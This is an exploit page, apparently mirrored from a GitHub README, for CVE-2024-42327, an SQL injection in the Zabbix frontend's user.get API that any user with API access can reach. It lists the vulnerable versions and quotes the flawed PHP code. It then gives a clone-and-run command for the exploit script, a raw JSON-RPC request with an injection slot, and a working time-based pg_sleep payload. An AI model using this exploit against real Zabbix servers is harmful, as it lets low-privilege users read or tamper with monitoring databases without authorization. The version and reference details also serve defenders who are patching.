## https://sploitus.com/exploit?id=8C1462E7-3BE5-5D5A-AE6A-2DA2147A4CC2
# PoC and Exploit for CVE-2024-42327 / ZBX-25623
A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.
![изображение](https://github.com/user-attachments/assets/258d2688-cf1d-453f-8ef2-64761f4e122e)
**Vulnerable versions:** 6.0.0 - 6.0.31, 6.4.0 - 6.4.16 , 7.0.0
Fixed versions: 6.0.32rc1 , 6.4.17rc1, 7.0.1rc1
# Vulnerable code
```PHP
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
```
Exploit use:
```bash
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"
```
Request:
```http
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
```
BurpSuite PoC (Time Based SQLi)
```sql
SELECT pg_sleep(10)) AS DELAY
```
```http
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
```
## Proof
![изображение](https://github.com/user-attachments/assets/3b0cae9f-8147-4e9d-a4fe-d50a090cceb6)
## References
- https://support.zabbix.com/browse/ZBX-25623
- https://nvd.nist.gov/vuln/detail/CVE-2024-42327